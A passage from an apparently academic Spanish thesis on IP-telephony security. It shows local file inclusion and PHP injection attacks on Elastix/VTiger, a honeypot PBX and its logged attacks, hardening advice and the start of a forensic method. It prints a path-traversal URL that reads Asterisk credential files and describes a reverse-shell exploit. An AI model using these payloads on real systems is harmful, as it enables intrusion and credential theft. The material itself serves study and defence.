en el sistema, y que es vulnerable a inclusi&oacute;n de archivos locales.
Implementaci&oacute;n de inclusi&oacute;n de archivos locales
La Inclusi&oacute;n de Archivos Locales (LFI por sus siglas en ingl&eacute;s) es una
vulnerabilidad de sitios web programados en PHP, tal como la interfaz del m&oacute;dulo
de CRM VTiger incluido en Elastix. Esta vulnerabilidad podr&iacute;a permitir que un
atacante pase comandos en la URL que digita para acceder al sitio web. Por esa
raz&oacute;n la aplicaci&oacute;n web podr&iacute;a ser “enga&ntilde;ada” para incluir archivos con c&oacute;digo
malicioso que cree una conexi&oacute;n remota reversa con el atacante, por ejemplo.
Adem&aacute;s, el atacante podr&iacute;a incluir comandos para ver el contenido de archivos
sensibles que contengan contrase&ntilde;as.
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Como se indicaba, Elastix posee un m&oacute;dulo llamado VTiger14 que presenta esta
vulnerabilidad, que permite incluir ficheros que existen en el servicio web y que
contienen informaci&oacute;n confidencial que el atacante puede aprovechar. Este
componente se instala por defecto con todos los paquetes de instalaci&oacute;n del
sistema.
Uno
de
los
ficheros
locales
que
puede
ser
incluido
es
/etc/asterisk/sip_additional.conf, que contiene informaci&oacute;n sobre las extensiones
existentes en la PBX IP (Elastix). La estructura de la URL que se usa para la
inclusi&oacute;n de archivos se indica en el C&oacute;digo 2.16.
https://DireccionIPservidor/vtigercrm/modules/com_vtiger_workflo
w/sortfieldsjson.php?module_name=../../../..//etc/asterisk/sip_a
dditional.conf%00
C&oacute;digo 2.16 Estructura de URL para LFI
La inclusi&oacute;n funciona de la siguiente manera. Un servidor web vulnerable permite
que un usuario ingrese como URL, la ruta del archivo que quiere que sea incluido.
Por ende la falta de filtraci&oacute;n en las entradas (no “sanitizadas”) aceptan esta
entrada y por consiguiente caracteres de salto de directorio (../../..). Esto conlleva
a revelar la informaci&oacute;n contenida en el fichero incluido mediante la URL.
Este tipo de vulnerabilidad se aplica sobre diferentes lenguajes de programaci&oacute;n,
como PHP, JSP, ASP, entre otros, que se utilizan para la creaci&oacute;n de un servidor
web.
Pruebas y evaluaci&oacute;n
Mediante la inclusi&oacute;n de archivos se obtiene las extensiones que existen en la
PBX IP Elastix (ver Figura 2.11) con sus contrase&ntilde;as y detalles adicionales que
se encuentran en el archivo sip_additional.conf que fue incluido.
14
VTiger - Programa de c&oacute;digo abierto que permite la administraci&oacute;n de relaciones con clientes.
Se implementa para operaciones en medianas y peque&ntilde;as empresas, implementando varias
alternativas de uso como automatizaci&oacute;n de ventas, soporte y servicio al cliente entre otras.
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Figura 2.11 Resultado de ejecuci&oacute;n de ataque LFI
2.4.6 INYECCI&Oacute;N DE C&Oacute;DIGO PHP
La inyecci&oacute;n de c&oacute;digo PHP es un m&eacute;todo muy utilizado para atacar servidores
web que tienen un inadecuado filtro en las entradas de los usuarios que solicitan
acceder al servicio. Este tipo de ataque permite enviar c&oacute;digo PHP arbitrario
(malicioso) a un int&eacute;rprete que entiende el c&oacute;digo, como el int&eacute;rprete traduce el
programa mientras lo ejecuta, puede haber problema en diferenciar los
par&aacute;metros introducidos por el usuario de los par&aacute;metros propios del sistema,
con lo cual se ve forzado a leer el c&oacute;digo (malicioso) y de este modo proporcionar
al atacante, acceso de lectura a los ficheros del sistema, obtener informaci&oacute;n
confidencial, aumentar privilegios como superusuario, as&iacute; como permitir la
ejecuci&oacute;n del c&oacute;digo insertado (ejecuci&oacute;n de c&oacute;digo remoto).
Escenario
&middot;
M&aacute;quina Atacante (Kali Linux)
&middot;
PBX IP v&iacute;ctima (funcionando con Elastix 2.0.0)
El escenario para este ataque consiste en un servicio de gesti&oacute;n web vulnerable
en la PBX IP v&iacute;ctima y se utiliza un exploit de inyecci&oacute;n de c&oacute;digo PHP [28]
ejecutado desde la m&aacute;quina atacante.
Implementaci&oacute;n de ataque
Para ejecutar el ataque de inyecci&oacute;n de c&oacute;digo PHP se requiere descargar el
exploit [28] y asignar los privilegios necesarios para poder ejecutarse, adem&aacute;s la
m&aacute;quina atacante debe tener instalado el lenguaje PHP.
Varios archivos de VTiger CRM que almacenan y validan par&aacute;metros enviados
por las diferentes peticiones realizadas a trav&eacute;s de la interfaz web de este servicio
como:
phpprint.ph,
funciones/par&aacute;metros
ImportStep2.php,
como:
config.inc.php,
return_application_language,
contienen
site_url,
move_uploaded_file, entre otros, que no filtran correctamente los par&aacute;metros que
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obtiene de un formulario por as&iacute; decirlo. El an&aacute;lisis espec&iacute;fico de la funci&oacute;n que
realiza cada una de las variables no se detallar&aacute; en este proyecto, pero si se
resume la implementaci&oacute;n b&aacute;sica que realiza el exploit para obtener el acceso a la
PBX IP.
El exploit inyecta c&oacute;digo php arbitrario, como php arma en tiempo real la
compilaci&oacute;n y la ejecuci&oacute;n del c&oacute;digo, el c&oacute;digo original es modificado a
conveniencia de los par&aacute;metros que se ejecutan en el exploit, cambiando as&iacute; el
comportamiento normal del servicio VTiger CRM.
En la inyecci&oacute;n se env&iacute;an par&aacute;metros mediante una petici&oacute;n POST, que le
permite al exploit armar variables para reemplazarlas por el contenido original en
la funcionalidad vulnerable y a trav&eacute;s de la concatenaci&oacute;n de la direcci&oacute;n IP
ingresada al ejecutar el exploit con una inclusi&oacute;n de archivo mediante el path
vulnerable &quot;/vtigercrm/phprint.php?” permite ingresar a ese directorio mediante
una conexi&oacute;n reversa.
Pruebas y evaluaci&oacute;n
El par&aacute;metro que solicita el exploit es la direcci&oacute;n IP que se debe ingresar en el
siguiente formato https://direcci&oacute;n-IP. Una vez que se ejecuta la inyecci&oacute;n de
c&oacute;digo php, el ingreso a la PBX IP a trav&eacute;s del acceso remoto est&aacute; habilitado con
limitados privilegios ya que se accede como usuario asterisk y no root a trav&eacute;s del
directorio que aloja al archivo vulnerable de VtigerCRM (/var/www/html/vitigercrm).
Se puede verificar su direcci&oacute;n IP (ver Figura 2.12) as&iacute; como se puede ver el
contenido del archivo manager.conf ubicado en /etc/asterisk/, que contiene la
contrase&ntilde;a en texto claro del usuario admin de la interfaz gr&aacute;fica de la PBX IP
(ver Figura 2.13). Esta contrase&ntilde;a permite ingresar abiertamente a la interfaz
gr&aacute;fica y actuar deliberadamente sobre la PBX IP.
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Figura 2.12 Nueva configuraci&oacute;n de red en m&aacute;quina atacante
Figura 2.13 Informaci&oacute;n de archivo manager.conf
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2.5 IMPLEMENTACI&Oacute;N
DE
PROTOTIPO
P&Uacute;BLICO
DE
TELEFON&Iacute;A IP VULNERABLE
2.5.1 DESCRIPCI&Oacute;N
El prototipo p&uacute;blico de telefon&iacute;a IP es una PBX IP basada en Asterisk (Elastix
2.0.0) que se expone, deliberadamente vulnerable, a Internet a trav&eacute;s de una
direcci&oacute;n IP p&uacute;blica. Se trata de un enfoque pasivo de recopilaci&oacute;n de informaci&oacute;n
sobre los posibles ataques que podr&iacute;a enfrentar el servicio de telefon&iacute;a IP. Tal
como con un honeypot15, el objetivo de este prototipo es atraer a atacantes con el
fin de analizar ciertos patrones que ayuden a entender un poco m&aacute;s los
problemas de seguridad de este tipo de servicios tan cr&iacute;tico e igualmente
vulnerable.
De manera general, ya que el objetivo es atraer a un atacante, el prototipo se
configura de manera que tenga ciertas debilidades (frente a diversas
interacciones) tales como: vulnerabilidad a fingerprinting, enumeraci&oacute;n de
extensiones, falta de contrase&ntilde;as o contrase&ntilde;as muy d&eacute;biles de las extensiones,
y software de terceros desactualizado. Por &uacute;ltimo, para hacerle a&uacute;n m&aacute;s atractivo,
se conecta a la PBX IP una troncal hacia la red de telefon&iacute;a celular (Movistar).
2.5.2 CONFIGURACI&Oacute;N
Este prototipo p&uacute;blico de PBX IP se implementa sobre la distribuci&oacute;n Elastix 2.0.0
que tiene algunas vulnerabilidades, tal como se mostr&oacute; en su evaluaci&oacute;n en la
secci&oacute;n anterior. Esta distribuci&oacute;n se instala sobre un servidor que est&aacute;
conectado, mediante una tarjeta anal&oacute;gica (FXO) a la red de telefon&iacute;a celular de
CNT a trav&eacute;s de una base celular. Adem&aacute;s, esta PBX IP se conecta a un servidor
de logs mediante una interfaz Ethernet. Este servidor de logs almacena todos los
logs generados por la PBX IP que se env&iacute;an remotamente.
El prototipo se conecta a Internet mediante una direcci&oacute;n IP p&uacute;blica que es
“nateada” en un router de borde, tal como se ilustra en la Figura 2.14.
15
Honeypot – se conoce como equipo trampa, con el objetivo de atraer atacantes simulando ser
un sistema vulnerable con el fin de recabar informaci&oacute;n sobre los atacantes y las t&eacute;cnicas
utilizadas para explotar una vulnerabilidad en un sistema.
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Figura 2.14 Diagrama de red Prototipo P&uacute;blico
Como se puede observar, gracias a la implementaci&oacute;n de NAT en el router,
cualquier equipo conectado a Internet podr&iacute;a tener contacto con el sistema de
telefon&iacute;a puesto en marcha.
En la Tabla 2.3, se detallan algunas caracter&iacute;sticas del hardware utilizado para
estructurar este prototipo.
Nombre de equipo
Funci&oacute;n
Direcci&oacute;n IP
Recursos
pbxpublico
Equipo publicado en
Internet vulnerable a
enumeraci&oacute;n de
extensiones, ataques
de fuerza bruta,
denegaci&oacute;n de
servicios, espionaje
de llamadas, inclusi&oacute;n
de archivos.
181.211.XX.XX
Procesador: Intel
Celeron 1.8 GHz
Disco duro: 80 GB
Memoria RAM: 1 GB
Interfaces de red: 2
M&oacute;dulo FXO: 4
logserver
Almacena
remotamente todos
los logs generados
por la PBX IP.
10.10.10.XX
Procesador: Intel
Celeron 1.8 GHz
Disco duro: 80 GB
Memoria RAM: 1 GB
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Interfaces de red: 1
Base celular
Permite la conexi&oacute;n
de la PBX IP con la
red de telefon&iacute;a m&oacute;vil
Movistar
09832270XX
(Movistar)
SIM Card: 1
Puerto RJ-11: 2
Tabla 2.3 Hardware Prototipo P&uacute;blico
En la Tabla 2.4, se pueden encontrar detalles sobre las aplicaciones y plataformas
utilizadas as&iacute; como las configuraciones vulnerables del prototipo.
Nombre de equipo
Sistema
Herramientas
Configuraci&oacute;n
Operativo/Plataforma
pbxpublico
Elastix 2.0.0
Vulnerable
vTigerCRM,
Cards,
Calling
A2Billing,
FreePBX.
alwaysauthrejet=no
allowguest=yes
User
Agent
por
defecto
Tabla 2.4 Software Prototipo P&uacute;blico
Con el fin de incrementar las vulnerabilidades del prototipo, se configuran
extensiones desde la 100 a la 120. De estas extensiones, hay tres grupos: uno sin
contrase&ntilde;as, otro que usa contrase&ntilde;as iguales al n&uacute;mero de extensi&oacute;n, y otro con
contrase&ntilde;as que usan palabras de diccionario. Con el fin de facilitar los an&aacute;lisis de
enumeraci&oacute;n, se habilita la opci&oacute;n alwaysauthreject=no y para permitir el
registro de terminales invitados, se habilita la opci&oacute;n allowguest=yes.
2.5.3 AN&Aacute;LISIS DE EVENTOS GENERADOS
Los eventos generados en el prototipo p&uacute;blico se analizaron entre el 29 de
diciembre de 2015 y el 3 de enero de 2016. La informaci&oacute;n de estos eventos se
extrajo del archivo de log full (ubicado en /var/log/asterisk/) y que guarda
b&aacute;sicamente la informaci&oacute;n de todos los procesos que tengan que ver con el
servicio de telefon&iacute;a implementado. Cabe destacar que, luego de solo 6 d&iacute;as de
estar en l&iacute;nea, se generaron 739 MB de logs relacionados con el servicio de
telefon&iacute;a, lo que revela la agresividad de las interacciones a las que se enfrent&oacute; el
prototipo. Tambi&eacute;n se analizaron los logs contenidos en el archivo secure (dentro
de /var/log) para tener una idea de los intentos de login remoto que se realizaron
sobre el sistema desde Internet.
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Para empezar, se detectaron 4825 intentos de login remoto fallidos; de estos, 66
con el usuario root, y 13 con el usuario asterisk. La mayor&iacute;a de estos intentos
provienen de Estados Unidos, Indonesia y China.
Del mismo modo, se detectaron una enorme cantidad de intentos fallidos de
registro SIP en la PBX IP (11441 intentos). La mayor&iacute;a de estos intentos se
realizaron a la extensi&oacute;n 100 (10705 intentos), y a la 101 (543 intentos). Adem&aacute;s,
todos estos intentos se originaron en solamente 9 direcciones IP. El 93% de los
intentos se originaron en Francia y el resto (7%) en Estados Unidos, Alemania y
Pa&iacute;ses Bajos.
Se detectaron tambi&eacute;n 667 intentos de registrar terminales utilizando n&uacute;meros de
extensiones que no exist&iacute;an en el prototipo. Estos intentos se originaron en 12
direcciones IP, la mayor&iacute;a de ellos provenientes de Francia y Pa&iacute;ses Bajos. Los
n&uacute;meros
de
extensiones
utilizadas
van
desde
el
1
hasta
el
10000,
fundamentalmente.
Se observ&oacute; tambi&eacute;n varios procesos exitosos de registro (170), la gran mayor&iacute;a
de Palestina y Francia.
Finalmente, se encontraron 537 intentos de llamada desde el prototipo a trav&eacute;s de
la troncal telef&oacute;nica conectada.
2.6 BUENAS PR&Aacute;CTICAS PARA PROTECCI&Oacute;N DE UN SISTEMA
DE TELEFON&Iacute;A IP
Algunas buenas pr&aacute;cticas en la configuraci&oacute;n de los sistemas de telefon&iacute;a IP
basados en Asterisk podr&iacute;an ayudar mucho a protegerlos de ataques a las
vulnerabilidades m&aacute;s conocidas. A continuaci&oacute;n se describen algunas de estas
pr&aacute;cticas.
2.6.1 PROTECCI&Oacute;N FRENTE A ATAQUES DE FINGERPRINTING
Este tipo de escaneo tiene gran &eacute;xito porque generalmente los administradores de
sistemas de telefon&iacute;a IP no cambian los banners o ciertos comportamientos por
defecto que pueden revelar demasiada informaci&oacute;n sobre la aplicaci&oacute;n o el
sistema operativo.
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2.6.1.1 Desactivar servicios no usados
La obtenci&oacute;n de informaci&oacute;n a pesar de no ser un ataque intrusivo, es la base
para un ataque que podr&iacute;a luego comprometer un sistema.
Es recomendable mantener activos en el sistema, solo los servicios que
realmente sean necesarios. Los servicios que no sean necesarios deber&iacute;an ser
desinstalados ya que podr&iacute;an representar fuentes de informaci&oacute;n para atacantes
en la fase de exploraci&oacute;n.
2.6.1.2 Modificar el banner del sistema operativo y servicios
En el archivo sip.conf de los sistemas basados en Asterisk se puede configurar la
informaci&oacute;n que se incluye en el campo User-Agent de los mensajes SIP, de
modo que no se provea informaci&oacute;n sobre la aplicaci&oacute;n de telefon&iacute;a IP instalada o
de su versi&oacute;n. En Elastix, este cambio se puede hacer en el archivo
sip_general_custom.conf como se indica en el C&oacute;digo 2.17 [43].
useragent=NUEVO-BANNER
C&oacute;digo 2.17 Argumento para cambio de banner
En la Figura 2.15, se puede observar c&oacute;mo frente a una interacci&oacute;n de
fingerprinting ahora la PBX IP muestra solamente el mensaje que se configur&oacute; y
no revela informaci&oacute;n relevante como si lo hac&iacute;a por defecto.
Figura 2.15 Escaneo svmap a PBX IP con par&aacute;metros useragent modificado
76
2.6.2 PROTECCI&Oacute;N FRENTE A ATAQUES DE ENUMERACI&Oacute;N
La enumeraci&oacute;n de extensiones, como ya se menciona en el cap&iacute;tulo 1, permite
conseguir una lista de identificadores de extensiones v&aacute;lidas en un servidor PBXIP. En Asterisk o sistemas derivados, la enumeraci&oacute;n de extensiones es posible
debido a ciertos par&aacute;metros que deben configurarse como se explica a
continuaci&oacute;n.
2.6.2.1 Cambiar la configuraci&oacute;n de par&aacute;metro por defecto.
El par&aacute;metro alwaysauthreject se debe configurar en el archivo sip.conf que
se encuentra en el directorio /etc/asterisk/. Su valor por defecto en “no” hace que
Asterisk responda “Wrong password” o “No matching peer found” en los diversos
intentos de autenticaci&oacute;n, de este modo los atacantes saben qu&eacute; extensi&oacute;n existe
y cual no en el servidor SIP.
El par&aacute;metro se deber&iacute;a configurar su valor en “yes”, as&iacute; Asterisk dar&aacute; la misma
respuesta frente a una autenticaci&oacute;n fallida independientemente de si la extensi&oacute;n
existe o no.
2.6.2.2 Uso de identificadores para terminales telef&oacute;nicos
Asterisk permite separar los identificadores usados por los terminales para el
registro en la PBX IP de los n&uacute;meros que se utilizan para que un usuario marque
a un terminal (extensiones). Ya que los identificadores de terminal se usan en el
proceso de autenticaci&oacute;n del terminal con la central telef&oacute;nica, se recomienda que
estos se creen como una combinaci&oacute;n de letras y n&uacute;meros (por ejemplo:
FFF000FFF11), de modo que un ataque de fuerza bruta tenga menos
probabilidades de &eacute;xito.
2.6.3 PROTECCI&Oacute;N FRENTE A ATAQUES DE FUERZA BRUTA
El objetivo de los ataques de fuerza bruta es com&uacute;nmente determinar la
contrase&ntilde;a de un usuario. Para el servicio de telefon&iacute;a, este objetivo se relaciona
con determinar la contrase&ntilde;a utilizada por un terminal para poder registrarse en la
PBX IP.
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2.6.3.1 Pol&iacute;ticas adecuadas para contrase&ntilde;as de los terminales
Se recomienda usar contrase&ntilde;as fuertes, especialmente en los sistemas open
source que tienen varios servicios adicionales al de telefon&iacute;a. Estos servicios
vienen por defecto con varios usuarios creados y sus correspondientes
contrase&ntilde;as que suelen ser muy d&eacute;biles.
2.6.3.2 Cifrado de contrase&ntilde;as
Con el fin de proteger las contrase&ntilde;as localmente tanto del sistema operativo
como las del servicio de telefon&iacute;a IP, se recomienda cifrarlas usando los
algoritmos criptogr&aacute;ficos m&aacute;s actuales. Si las contrase&ntilde;as se almacenan
localmente en texto claro, un atacante podr&iacute;a reutilizarlas en otros sistemas que
alojen los mismos usuarios.
2.6.3.3 Identificadores de Terminal
El uso de identificadores de terminal robustos (en lugar de los mismos n&uacute;meros
de extensiones) tambi&eacute;n previenen significativamente los ataques de fuerza bruta.
2.6.4 PROTECCI&Oacute;N FRENTE A ATAQUES DE EXPLOITS
Los ataques de exploits se dan por la falta de actualizaci&oacute;n en el software as&iacute;
como los servicios complementarios que integran la PBX IP.
Para prevenir estos ataques se recomienda actualizar peri&oacute;dicamente el sistema
operativo,
la
aplicaci&oacute;n
de
telefon&iacute;a
implementada
y
los
servicios
complementarios (en el caso de Elastix)
Si un servicio complementario como VTiger CRM, SugarCRM, A2Biiling, entre
otros, se ha instalado por defecto y no se usa, es preferible desinstalarlo para
reducir el trabajo de mantenimiento.
Se
puede
verificar
continuamente
si
las
versiones
instaladas
tienen
vulnerabilidades, en sitios como: Exploit Database [44] , Rapid7 [45] y “Common
Vulnerabilities and Exposures” [46].
78
2.6.5 PROTECCI&Oacute;N FRENTE A ATAQUES DE ESPIONAJE DE LLAMADAS
La captura del tr&aacute;fico de voz entre dos terminales que establecieron una llamada
podr&iacute;a revelar informaci&oacute;n confidencial y est&aacute; sujeta a ataques de espionaje ya
que los protocolos involucrados en la telefon&iacute;a IP no implementan ning&uacute;n
mecanismo de seguridad por defecto. La soluci&oacute;n al espionaje normalmente pasa
por el cifrado de las comunicaciones. El cifrado de la se&ntilde;alizaci&oacute;n telef&oacute;nica
mediante protocolo SIP y el tr&aacute;fico de voz usando RTP tienen soporte en Asterisk
(SIP o RTP seguros) [47] . Dependiendo de la importancia de la informaci&oacute;n que
se transmite en las comunicaciones telef&oacute;nicas, podr&iacute;a ser recomendable
implementar estos mecanismos de seguridad. Para que la implementaci&oacute;n de
estos protocolos funcione, deben ser soportados tanto por la PBX IP como el
terminal telef&oacute;nico. [48] [49] [50].
2.6.6 PROTECCI&Oacute;N
FRENTE
A
ATAQUES
POR
ERRORES
DE
CONFIGURACI&Oacute;N EN EL PLAN DE MARCADO
2.6.6.1 Configuraci&oacute;n adecuada en el plan de marcado
Hay que asegurarse que los contextos creados por defecto sean seguros. Esto
implica comprobar, por ejemplo, que las llamadas entrantes y salientes no se
procesen
en
el mismo
contexto.
Para ello,
es recomendable dise&ntilde;ar
adecuadamente el plan de marcado, de modo que los usuarios externos de la
PBX IP no tengan acceso a los recursos o servicios designados solamente a los
usuarios internos.
2.6.6.2 Cambiar la configuraci&oacute;n de par&aacute;metro por defecto
Si no se requiere el acceso de usuarios invitados a la PBX IP, lo recomendable es
configurar el par&aacute;metro allowguest en “no”. Si es necesario el acceso de
usuarios invitados, se debe separar el contexto default (donde se atienden las
llamadas de los invitados) del contexto regular de los usuarios internos.
2.6.7 HERRAMIENTAS LOCALES DE PROTECCI&Oacute;N
Localmente, existen varias herramientas que se pueden instalar para incrementar
la seguridad del sistema de telefon&iacute;a IP basado en Asterisk.
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La primera de estas herramientas es un firewall, como iptables, que protege un
sistema en la red al bloquear tr&aacute;fico malicioso hacia aplicaciones basado en los
campos direcci&oacute;n IP y puerto (origen y destino).
Otra herramienta es fail2ban que permite detectar ciertos patrones (maliciosos) de
tr&aacute;fico y bloquearlos. Para implementar el bloqueo fail2ban trabaja conjuntamente
con iptables. Se puede combinar con herramientas del tipo IDS o IPS (para
detecci&oacute;n y protecci&oacute;n frente a intrusos).
Finalmente, se recomienda tambi&eacute;n una gesti&oacute;n organizada y fiable de los
registros de eventos (logs). Herramientas como rsyslog pueden ser utilizadas para
exportar estos logs a un servidor remoto de manera que si se pierde control del
sistema, esta informaci&oacute;n est&eacute; disponible. Seguro los datos contenidos en los logs
ser&aacute;n el insumo esencial en un proceso de investigaci&oacute;n en caso de un fraude.
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3 AN&Aacute;LISIS FORENSE PARA SISTEMAS DE TELEFON&Iacute;A
IP BASADOS EN ASTERISK
3.1 INTRODUCCI&Oacute;N
Es conocido que muchas de las denuncias sobre ataques inform&aacute;ticos o dirigidos
a redes de comunicaciones no prosperan por falta de un adecuado tratamiento de
la evidencia que soporte dichas denuncias. Ya que la evidencia generada en los
entornos que se han discutido en este trabajo es fundamentalmente digital, podr&iacute;a
estar sujeta a manipulaci&oacute;n o falsificaci&oacute;n. Por ello, el tratamiento de la evidencia
obtenida a partir de un ataque podr&iacute;a ser la clave para determinar las fuentes y el
impacto de dicho ataque, as&iacute; como tambi&eacute;n har&iacute;a posible que la evidencia tenga
validez en un proceso judicial.
Una metodolog&iacute;a de an&aacute;lisis forense podr&iacute;a ayudar significativamente en el
sentido descrito. Seg&uacute;n [51], [52] y [53], el an&aacute;lisis forense comprende el proceso
de extraer, preservar, analizar, documentar y presentar las evidencias digitales de
manera que sean legalmente admitidas en un proceso judicial.
A continuaci&oacute;n, se propone un conjunto de pasos que podr&iacute;an ayudar a un
investigador a seguir un proceso sistem&aacute;tico y formal al recopilar las evidencias
de un ataque a un sistema de telefon&iacute;a IP basado en Asterisk.
3.2 LA EVIDENCIA DIGITAL
La norma ISO/IEC 27037 [54] define a la evidencia digital como la informaci&oacute;n o
datos, almacenados o transmitidos en forma binaria que puede ser utilizada como
prueba en un proceso legal.
La evidencia digital tiene varias caracter&iacute;sticas [55].
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&middot;
Es vol&aacute;til: La evidencia digital se puede perder con facilidad en cualquier
momento, especialmente si se encuentra almacenada temporalmente en la
memoria RAM, o en cach&eacute;.
&middot;
Es an&oacute;nima: generalmente la evidencia digital no est&aacute; asociada
directamente a su due&ntilde;o o autor.
&middot;
Es duplicable: la evidencia digital es de f&aacute;cil reproducci&oacute;n, lo que, por un
lado, facilitar&iacute;a que su an&aacute;lisis no se haga directamente.
&middot;
Es alterable: la evidencia digital es muy f&aacute;cil de modificar, lo cual es una
desventaja pues la hace vulnerable
&middot;
Es eliminable: la evidencia digital puede eliminarse f&aacute;cilmente, lo que
dificulta significativamente la investigaci&oacute;n.
3.3 PRINCIPIOS GENERALES PARA LA MANIPULACI&Oacute;N DE
EVIDENCIA DIGITAL
Con el fin de garantizar la calidad y la validez del proceso de investigaci&oacute;n de un
incidente sobre infraestructura tecnol&oacute;gica, es recomendable seguir algunos
criterios b&aacute;sicos definidos por organismos internacionales. A nivel internacional, el
NIST16 [56] y la International Organization on Computer Evidence [57], as&iacute; como
localmente la Fiscal&iacute;a General del Estado [53], han definido algunos principios
b&aacute;sicos que deber&iacute;an considerarse en un proceso de an&aacute;lisis forense. En base a
los documentos mencionados se obtuvieron los siguientes principios que son m&aacute;s
o menos los mismos:
&middot;
La persona encargada del proceso de an&aacute;lisis forense, as&iacute; como los
involucrados en la investigaci&oacute;n, debe evitar la contaminaci&oacute;n de la evidencia
adquirida, utilizando m&eacute;todos que demuestren la fidelidad de la informaci&oacute;n
original. Esto ayudar&aacute; a que la evidencia sea considerada en un proceso
judicial.
&middot;
Todo el equipo de an&aacute;lisis forense debe tener conocimiento de los pasos a
seguir en el proceso para evitar cualquier error o negligencia que malogren la
investigaci&oacute;n.
16
NIST - National Institute of Standrs and Technology
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&middot;
Todo el proceso realizado debe ser cuidadosamente documentado, de tal
forma que cualquier persona externa al caso los pueda validar, revisar y llegar
a los mismos resultados en base a la evidencia original.
&middot;
Solo en casos espec&iacute;ficos, una persona externa al caso puede acceder a la
evidencia, y esta persona debe ser competente en el tratamiento de la
evidencia.
&middot;
Se debe cuidar la evidencia digital, evitar las manipulaciones innecesarias,
mantener la custodia de todas las acciones que se realicen con la evidencia,
es indispensable elaborar documentaci&oacute;n sobre todas las personas que
tuvieron acceso a la evidencia.
&middot;
Las personas vinculadas con la investigaci&oacute;n deben firmar un acuerdo de
confidencialidad con relaci&oacute;n a la evidencia adquirida.
3.4 METODOLOG&Iacute;AS
PARA
EL
AN&Aacute;LISIS
FORENSE
INFORM&Aacute;TICO
Existen varios modelos que tratan de describir el proceso de an&aacute;lisis forense
digital o inform&aacute;tico. Estos modelos dividen el proceso de an&aacute;lisis en etapas
ordenadas
cronol&oacute;gicamente,
de
tal
manera
que
resulta
m&aacute;s
sencillo
comprenderlo. Incluso la ISO17 ha propuesto la norma ISO/IEC 27037 [58] de
alcance global, que describe los principales lineamientos para el manejo de la
evidencia digital.
La metodolog&iacute;a que se propone en este trabajo tiene como base el modelo
propuesto por la NIST [59] puesto que la documentaci&oacute;n de la ISO tiene costo. En
todo caso, los pasos determinados por ambas y por otras propuestas est&aacute;n muy
relacionados, diferenci&aacute;ndose, en ciertos casos, en la profundidad con la que se
abordan ciertas actividades del proceso de an&aacute;lisis forense.
Los pasos en los que la NIST divide el proceso de investigaci&oacute;n forense son:
colecci&oacute;n, examinaci&oacute;n, an&aacute;lisis y reporte. Por falta de recursos humanos
disponibles, las dos primeras etapas suelen fusionarse, y se suele incluir adem&aacute;s
una fase de preparaci&oacute;n antes de realizar la investigaci&oacute;n. Estas etapas sirven
17
ISO - International Organization for Standardization
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como insumo para la propuesta metodol&oacute;gica que se realiza a continuaci&oacute;n para
el an&aacute;lisis forense sobre plataformas de telefon&iacute;a IP basadas en Asterisk.
3.5 PROPUESTA METODOL&Oacute;GICA PARA AN&Aacute;LISIS FORENSE
ORIENTADOS A SISTEMAS DE TELEFON&Iacute;A IP
3.5.1 AN&Aacute;LISIS FORENSE SOBRE PLATAFORMAS DE TELEFON&Iacute;A IP
Dado que las plataformas de telefon&iacute;a IP est&aacute;n basadas en plataformas de
c&oacute;mputo, el an&aacute;lisis forense sobre ellas se relaciona con un an&aacute;lisis forense
inform&aacute;tico. Al orientarse a la telefon&iacute;a IP el an&aacute;lisis forense deber&aacute; concentrarse
en los dispositivos que conforman estas plataformas como: central telef&oacute;nica,
tel&eacute;fonos IP, equipos de interconexi&oacute;n con redes externas (gateways de voz), etc.
En caso de ataque a un sistema de telefon&iacute;a IP, en an&aacute;lisis se enfocar&aacute; en mayor
medida en la central telef&oacute;nica pues all&iacute; se encontrar&aacute; la mayor cantidad de
informaci&oacute;n.
3.5.2 FASE PREPARATORIA
No est&aacute; directamente vinculada con el proceso de an&aacute;lisis forense, pero ayuda a
los involucrados a reunir todos los recursos (humanos y t&eacute;cnicos) que ser&aacute;n
necesarios para el resto de etapas.
Para empezar en el equipo de trabajo se deben definir claramente los roles de
trabajo con el fin de delimitar adecuadamente las responsabilidades en el proceso
de an&aacute;lisis forense. La NIST recomienda definir 6 roles: personal de emergencia,
investigador, t&eacute;cnico forense, custodio de evidencia, examinador forense y
analista forense. Se consideran aproximadamente dos personas por cada etapa
del proceso, pero los equipos de an&aacute;lisis forense normalmente no cuentan con
tantos recursos humanos. Por esta limitaci&oacute;n, en esta metodolog&iacute;a se propone
fusionar los roles de manera que solo se necesiten 3 personas para ejecutar los
seis roles. Estos roles propuestos son los siguientes:
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&middot;
Investigador forense: es el primero del equipo en llegar a la escena y se
encargar&aacute; de asegurarla, hacer una evaluaci&oacute;n inicial, y coordinar al resto
del equipo para las distintas etapas del an&aacute;lisis.
&middot;
T&eacute;cnico forense: llevar&aacute; a cabo tareas espec&iacute;ficas dispuestas por el l&iacute;der
de la investigaci&oacute;n como: identificar y recolectar evidencia digital,
documentar todos los procesos realizados, asegurar la evidencia, y
asegurar su cadena de custodia.
&middot;
Analista forense: es un rol que tendr&aacute; a cargo tareas m&aacute;s especializadas
relacionadas con la recuperaci&oacute;n de los datos &uacute;tiles de la evidencia para
obtener informaci&oacute;n que pueda utilizarse en el an&aacute;lisis del incidente.
Adem&aacute;s evaluar&aacute; dicha informaci&oacute;n para verificar si puede usarse en una
corte.
Luego de definir los roles, es necesario identificar la escena. Esta etapa incluye
las siguientes actividades:
&middot;
Documentar los distintos componentes electr&oacute;nicos de la escena. En un
entorno de telefon&iacute;a IP, los componentes que deber&aacute;n ser documentados
podr&iacute;an ser: central telef&oacute;nica y perif&eacute;ricos, dispositivos de red (switches y
routers), gateways telef&oacute;nicos, adaptadores anal&oacute;gicos, tel&eacute;fonos IP,
software telef&oacute;nico, servidores de log, etc. La fase de documentaci&oacute;n
requiere obtener especificaciones y caracter&iacute;sticas de cada uno de estos
elementos. Es recomendable tambi&eacute;n documentar el estado exacto en el
que se encontraron los dispositivos al llegar el equipo a la escena.
Entre los datos que se recomienda documentar sobre los componentes de
la escena estar&iacute;an:
o Marca y modelo
o Caracter&iacute;sticas
o Direcciones IP
o Topolog&iacute;a de la red
o Identificaci&oacute;n de cables y puertos
&middot;
Reunir toda la informaci&oacute;n de los componentes no electr&oacute;nicos de la
escena. Entre estos componentes se podr&iacute;an encontrar: manuales t&eacute;cnicos
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de los equipos, actas de entrega-recepci&oacute;n, manuales de uso de la central
telef&oacute;nica, diagramas de red, etc.
&middot;
Realizar una entrevista al personal t&eacute;cnico o administrador de la plataforma
telef&oacute;nica. Esto podr&iacute;a ayudar a obtener pistas adicionales sobre el tipo de
uso que se le da a la plataforma de telefon&iacute;a, el tr&aacute;fico regular que ten&iacute;a,
n&uacute;mero de usuarios que ten&iacute;an acceso, etc. Algunas de las preguntas que
se podr&iacute;an hacer son:
